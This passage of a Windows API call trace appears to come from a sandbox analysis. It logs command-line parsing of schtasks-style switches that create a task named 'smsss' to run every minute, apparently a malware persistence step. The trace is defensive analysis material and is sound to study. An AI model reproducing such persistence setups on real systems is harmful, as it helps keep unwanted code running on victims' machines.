lpString2="PARSER2", cchCount2=-1) returned 2 [0075.517] lstrlenW (lpString="m") returned 1 [0075.517] GetThreadLocale () returned 0x409 [0075.517] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.517] lstrlenW (lpString="i") returned 1 [0075.517] GetThreadLocale () returned 0x409 [0075.517] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.517] lstrlenW (lpString="tn") returned 2 [0075.517] GetThreadLocale () returned 0x409 [0075.517] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.517] lstrlenW (lpString="tr") returned 2 [0075.517] GetThreadLocale () returned 0x409 [0075.517] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.517] lstrlenW (lpString="st") returned 2 [0075.517] GetThreadLocale () returned 0x409 [0075.517] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.517] lstrlenW (lpString="sd") returned 2 [0075.517] GetThreadLocale () returned 0x409 [0075.517] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.517] lstrlenW (lpString="ed") returned 2 [0075.517] GetThreadLocale () returned 0x409 [0075.517] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.518] lstrlenW (lpString="it") returned 2 [0075.518] GetThreadLocale () returned 0x409 [0075.518] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.518] lstrlenW (lpString="et") returned 2 [0075.518] GetThreadLocale () returned 0x409 [0075.518] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.518] lstrlenW (lpString="k") returned 1 [0075.518] GetThreadLocale () returned 0x409 [0075.518] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.518] lstrlenW (lpString="du") returned 2 [0075.518] GetThreadLocale () returned 0x409 [0075.518] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.518] lstrlenW (lpString="ri") returned 2 [0075.518] GetThreadLocale () returned 0x409 [0075.518] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.518] lstrlenW (lpString="z") returned 1 [0075.518] GetThreadLocale () returned 0x409 [0075.518] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.518] lstrlenW (lpString="f") returned 1 [0075.518] GetThreadLocale () returned 0x409 [0075.518] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.518] lstrlenW (lpString="v1") returned 2 [0075.518] GetThreadLocale () returned 0x409 [0075.518] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.518] lstrlenW (lpString="xml") returned 3 [0075.518] GetThreadLocale () returned 0x409 [0075.518] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.519] lstrlenW (lpString="ec") returned 2 [0075.519] GetThreadLocale () returned 0x409 [0075.519] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.519] lstrlenW (lpString="rl") returned 2 [0075.519] GetThreadLocale () returned 0x409 [0075.519] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.519] lstrlenW (lpString="delay") returned 5 [0075.519] GetThreadLocale () returned 0x409 [0075.519] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0075.519] lstrlenW (lpString="np") returned 2 [0075.519] SetLastError (dwErrCode=0x0) [0075.519] SetLastError (dwErrCode=0x0) [0075.519] lstrlenW (lpString="/create") returned 7 [0075.519] lstrlenW (lpString="-/") returned 2 [0075.519] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0075.519] lstrlenW (lpString="create") returned 6 [0075.519] lstrlenW (lpString="create") returned 6 [0075.519] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.519] lstrlenW (lpString="create") returned 6 [0075.519] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.519] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|create|") returned 8 [0075.519] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|create|") returned 8 [0075.519] lstrlenW (lpString="|create|") returned 8 [0075.519] lstrlenW (lpString="|create|") returned 8 [0075.519] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0075.520] SetLastError (dwErrCode=0x0) [0075.520] SetLastError (dwErrCode=0x0) [0075.520] SetLastError (dwErrCode=0x0) [0075.520] lstrlenW (lpString="/tn") returned 3 [0075.520] lstrlenW (lpString="-/") returned 2 [0075.520] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0075.520] lstrlenW (lpString="create") returned 6 [0075.520] lstrlenW (lpString="create") returned 6 [0075.520] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.520] lstrlenW (lpString="tn") returned 2 [0075.520] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.520] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|create|") returned 8 [0075.520] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tn|") returned 4 [0075.520] lstrlenW (lpString="|create|") returned 8 [0075.520] lstrlenW (lpString="|tn|") returned 4 [0075.520] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0075.520] SetLastError (dwErrCode=0x490) [0075.520] lstrlenW (lpString="?") returned 1 [0075.520] lstrlenW (lpString="?") returned 1 [0075.520] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.520] lstrlenW (lpString="tn") returned 2 [0075.520] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.520] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|?|") returned 3 [0075.521] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tn|") returned 4 [0075.521] lstrlenW (lpString="|?|") returned 3 [0075.521] lstrlenW (lpString="|tn|") returned 4 [0075.521] SetLastError (dwErrCode=0x490) [0075.521] lstrlenW (lpString="s") returned 1 [0075.521] lstrlenW (lpString="s") returned 1 [0075.521] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.521] lstrlenW (lpString="tn") returned 2 [0075.521] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.521] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|s|") returned 3 [0075.521] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tn|") returned 4 [0075.521] lstrlenW (lpString="|s|") returned 3 [0075.521] lstrlenW (lpString="|tn|") returned 4 [0075.521] SetLastError (dwErrCode=0x490) [0075.521] lstrlenW (lpString="u") returned 1 [0075.521] lstrlenW (lpString="u") returned 1 [0075.521] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.521] lstrlenW (lpString="tn") returned 2 [0075.521] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.521] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|u|") returned 3 [0075.521] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tn|") returned 4 [0075.521] lstrlenW (lpString="|u|") returned 3 [0075.521] lstrlenW (lpString="|tn|") returned 4 [0075.521] SetLastError (dwErrCode=0x490) [0075.521] lstrlenW (lpString="p") returned 1 [0075.522] lstrlenW (lpString="p") returned 1 [0075.522] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.522] lstrlenW (lpString="tn") returned 2 [0075.522] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.522] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|p|") returned 3 [0075.522] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tn|") returned 4 [0075.522] lstrlenW (lpString="|p|") returned 3 [0075.522] lstrlenW (lpString="|tn|") returned 4 [0075.522] SetLastError (dwErrCode=0x490) [0075.522] lstrlenW (lpString="ru") returned 2 [0075.522] lstrlenW (lpString="ru") returned 2 [0075.522] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.522] lstrlenW (lpString="tn") returned 2 [0075.522] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.522] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|ru|") returned 4 [0075.522] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tn|") returned 4 [0075.522] lstrlenW (lpString="|ru|") returned 4 [0075.522] lstrlenW (lpString="|tn|") returned 4 [0075.522] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0075.522] SetLastError (dwErrCode=0x490) [0075.522] lstrlenW (lpString="rp") returned 2 [0075.522] lstrlenW (lpString="rp") returned 2 [0075.522] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.523] lstrlenW (lpString="tn") returned 2 [0075.523] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.523] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rp|") returned 4 [0075.523] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tn|") returned 4 [0075.523] lstrlenW (lpString="|rp|") returned 4 [0075.523] lstrlenW (lpString="|tn|") returned 4 [0075.523] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0075.523] SetLastError (dwErrCode=0x490) [0075.523] lstrlenW (lpString="sc") returned 2 [0075.523] lstrlenW (lpString="sc") returned 2 [0075.523] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.523] lstrlenW (lpString="tn") returned 2 [0075.523] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.523] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|sc|") returned 4 [0075.523] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tn|") returned 4 [0075.523] lstrlenW (lpString="|sc|") returned 4 [0075.523] lstrlenW (lpString="|tn|") returned 4 [0075.523] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0075.523] SetLastError (dwErrCode=0x490) [0075.523] lstrlenW (lpString="mo") returned 2 [0075.523] lstrlenW (lpString="mo") returned 2 [0075.523] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.523] lstrlenW (lpString="tn") returned 2 [0075.523] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.524] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|mo|") returned 4 [0075.524] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tn|") returned 4 [0075.524] lstrlenW (lpString="|mo|") returned 4 [0075.524] lstrlenW (lpString="|tn|") returned 4 [0075.524] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0075.524] SetLastError (dwErrCode=0x490) [0075.524] lstrlenW (lpString="d") returned 1 [0075.524] lstrlenW (lpString="d") returned 1 [0075.524] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.524] lstrlenW (lpString="tn") returned 2 [0075.524] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.524] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|d|") returned 3 [0075.524] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tn|") returned 4 [0075.524] lstrlenW (lpString="|d|") returned 3 [0075.524] lstrlenW (lpString="|tn|") returned 4 [0075.524] SetLastError (dwErrCode=0x490) [0075.524] lstrlenW (lpString="m") returned 1 [0075.524] lstrlenW (lpString="m") returned 1 [0075.524] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.524] lstrlenW (lpString="tn") returned 2 [0075.524] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.524] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|m|") returned 3 [0075.524] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tn|") returned 4 [0075.525] lstrlenW (lpString="|m|") returned 3 [0075.525] lstrlenW (lpString="|tn|") returned 4 [0075.525] SetLastError (dwErrCode=0x490) [0075.525] lstrlenW (lpString="i") returned 1 [0075.525] lstrlenW (lpString="i") returned 1 [0075.525] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.525] lstrlenW (lpString="tn") returned 2 [0075.525] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.525] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|i|") returned 3 [0075.525] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tn|") returned 4 [0075.525] lstrlenW (lpString="|i|") returned 3 [0075.525] lstrlenW (lpString="|tn|") returned 4 [0075.525] SetLastError (dwErrCode=0x490) [0075.525] lstrlenW (lpString="tn") returned 2 [0075.525] lstrlenW (lpString="tn") returned 2 [0075.525] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.525] lstrlenW (lpString="tn") returned 2 [0075.525] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.525] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tn|") returned 4 [0075.525] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|tn|") returned 4 [0075.525] lstrlenW (lpString="|tn|") returned 4 [0075.525] lstrlenW (lpString="|tn|") returned 4 [0075.525] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0075.526] SetLastError (dwErrCode=0x0) [0075.526] SetLastError (dwErrCode=0x0) [0075.526] lstrlenW (lpString="smsss") returned 5 [0075.526] lstrlenW (lpString="-/") returned 2 [0075.526] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0075.526] SetLastError (dwErrCode=0x490) [0075.526] SetLastError (dwErrCode=0x490) [0075.526] SetLastError (dwErrCode=0x0) [0075.526] lstrlenW (lpString="smsss") returned 5 [0075.526] StrChrIW (lpStart="smsss", wMatch=0x3a) returned 0x0 [0075.526] SetLastError (dwErrCode=0x490) [0075.526] SetLastError (dwErrCode=0x0) [0075.526] lstrlenW (lpString="smsss") returned 5 [0075.526] SetLastError (dwErrCode=0x0) [0075.526] SetLastError (dwErrCode=0x0) [0075.526] lstrlenW (lpString="/sc") returned 3 [0075.526] lstrlenW (lpString="-/") returned 2 [0075.526] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0075.526] lstrlenW (lpString="create") returned 6 [0075.526] lstrlenW (lpString="create") returned 6 [0075.526] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.526] lstrlenW (lpString="sc") returned 2 [0075.526] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.526] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|create|") returned 8 [0075.526] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|sc|") returned 4 [0075.526] lstrlenW (lpString="|create|") returned 8 [0075.527] lstrlenW (lpString="|sc|") returned 4 [0075.527] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0075.527] SetLastError (dwErrCode=0x490) [0075.527] lstrlenW (lpString="?") returned 1 [0075.527] lstrlenW (lpString="?") returned 1 [0075.527] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.527] lstrlenW (lpString="sc") returned 2 [0075.527] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.527] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|?|") returned 3 [0075.527] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|sc|") returned 4 [0075.527] lstrlenW (lpString="|?|") returned 3 [0075.527] lstrlenW (lpString="|sc|") returned 4 [0075.527] SetLastError (dwErrCode=0x490) [0075.527] lstrlenW (lpString="s") returned 1 [0075.527] lstrlenW (lpString="s") returned 1 [0075.527] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.527] lstrlenW (lpString="sc") returned 2 [0075.527] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.531] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|s|") returned 3 [0075.531] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|sc|") returned 4 [0075.531] lstrlenW (lpString="|s|") returned 3 [0075.531] lstrlenW (lpString="|sc|") returned 4 [0075.531] SetLastError (dwErrCode=0x490) [0075.531] lstrlenW (lpString="u") returned 1 [0075.531] lstrlenW (lpString="u") returned 1 [0075.531] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.531] lstrlenW (lpString="sc") returned 2 [0075.531] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.532] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|u|") returned 3 [0075.532] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|sc|") returned 4 [0075.532] lstrlenW (lpString="|u|") returned 3 [0075.532] lstrlenW (lpString="|sc|") returned 4 [0075.532] SetLastError (dwErrCode=0x490) [0075.532] lstrlenW (lpString="p") returned 1 [0075.532] lstrlenW (lpString="p") returned 1 [0075.532] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.532] lstrlenW (lpString="sc") returned 2 [0075.532] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.532] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|p|") returned 3 [0075.532] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|sc|") returned 4 [0075.532] lstrlenW (lpString="|p|") returned 3 [0075.532] lstrlenW (lpString="|sc|") returned 4 [0075.532] SetLastError (dwErrCode=0x490) [0075.532] lstrlenW (lpString="ru") returned 2 [0075.532] lstrlenW (lpString="ru") returned 2 [0075.532] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.532] lstrlenW (lpString="sc") returned 2 [0075.532] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.532] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|ru|") returned 4 [0075.532] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|sc|") returned 4 [0075.532] lstrlenW (lpString="|ru|") returned 4 [0075.532] lstrlenW (lpString="|sc|") returned 4 [0075.532] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0075.532] SetLastError (dwErrCode=0x490) [0075.532] lstrlenW (lpString="rp") returned 2 [0075.532] lstrlenW (lpString="rp") returned 2 [0075.533] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.533] lstrlenW (lpString="sc") returned 2 [0075.533] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.533] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|rp|") returned 4 [0075.533] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|sc|") returned 4 [0075.533] lstrlenW (lpString="|rp|") returned 4 [0075.533] lstrlenW (lpString="|sc|") returned 4 [0075.533] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0075.533] SetLastError (dwErrCode=0x490) [0075.533] lstrlenW (lpString="sc") returned 2 [0075.533] lstrlenW (lpString="sc") returned 2 [0075.533] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.533] lstrlenW (lpString="sc") returned 2 [0075.533] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.533] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|sc|") returned 4 [0075.533] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|sc|") returned 4 [0075.533] lstrlenW (lpString="|sc|") returned 4 [0075.533] lstrlenW (lpString="|sc|") returned 4 [0075.533] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0075.533] SetLastError (dwErrCode=0x0) [0075.533] SetLastError (dwErrCode=0x0) [0075.533] lstrlenW (lpString="MINUTE") returned 6 [0075.533] lstrlenW (lpString="-/") returned 2 [0075.533] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0075.533] SetLastError (dwErrCode=0x490) [0075.533] SetLastError (dwErrCode=0x490) [0075.533] SetLastError (dwErrCode=0x0) [0075.533] lstrlenW (lpString="MINUTE") returned 6 [0075.533] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0075.533] SetLastError (dwErrCode=0x490) [0075.533] SetLastError (dwErrCode=0x0) [0075.533] GetProcessHeap () returned 0x380000 [0075.534] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0x18) returned 0x39d660 [0075.534] _memicmp (_Buf1=0x39d660, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.534] lstrlenW (lpString="MINUTE") returned 6 [0075.534] GetProcessHeap () returned 0x380000 [0075.534] RtlAllocateHeap (HeapHandle=0x380000, Flags=0xc, Size=0xe) returned 0x39d680 [0075.534] lstrlenW (lpString="MINUTE") returned 6 [0075.534] lstrlenW (lpString=" \x09") returned 2 [0075.534] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0075.534] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0075.534] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0075.534] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0075.534] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0075.534] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0075.534] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0075.534] GetLastError () returned 0x0 [0075.534] lstrlenW (lpString="MINUTE") returned 6 [0075.534] lstrlenW (lpString="MINUTE") returned 6 [0075.534] SetLastError (dwErrCode=0x0) [0075.534] SetLastError (dwErrCode=0x0) [0075.534] lstrlenW (lpString="/mo") returned 3 [0075.534] lstrlenW (lpString="-/") returned 2 [0075.534] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0075.534] lstrlenW (lpString="create") returned 6 [0075.534] lstrlenW (lpString="create") returned 6 [0075.534] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.534] lstrlenW (lpString="mo") returned 2 [0075.534] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.534] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|create|") returned 8 [0075.534] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|mo|") returned 4 [0075.534] lstrlenW (lpString="|create|") returned 8 [0075.534] lstrlenW (lpString="|mo|") returned 4 [0075.534] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0075.534] SetLastError (dwErrCode=0x490) [0075.535] lstrlenW (lpString="?") returned 1 [0075.535] lstrlenW (lpString="?") returned 1 [0075.535] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.535] lstrlenW (lpString="mo") returned 2 [0075.535] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.535] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|?|") returned 3 [0075.535] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|mo|") returned 4 [0075.535] lstrlenW (lpString="|?|") returned 3 [0075.535] lstrlenW (lpString="|mo|") returned 4 [0075.535] SetLastError (dwErrCode=0x490) [0075.535] lstrlenW (lpString="s") returned 1 [0075.535] lstrlenW (lpString="s") returned 1 [0075.535] _memicmp (_Buf1=0x39c1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.535] lstrlenW (lpString="mo") returned 2 [0075.535] _memicmp (_Buf1=0x39c300, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.535] _vsnwprintf (in: _Buffer=0x39c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c588 | out: _Buffer="|s|") returned 3 [0075.535] _vsnwprintf (in: _Buffer=0x39c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c588 | out: 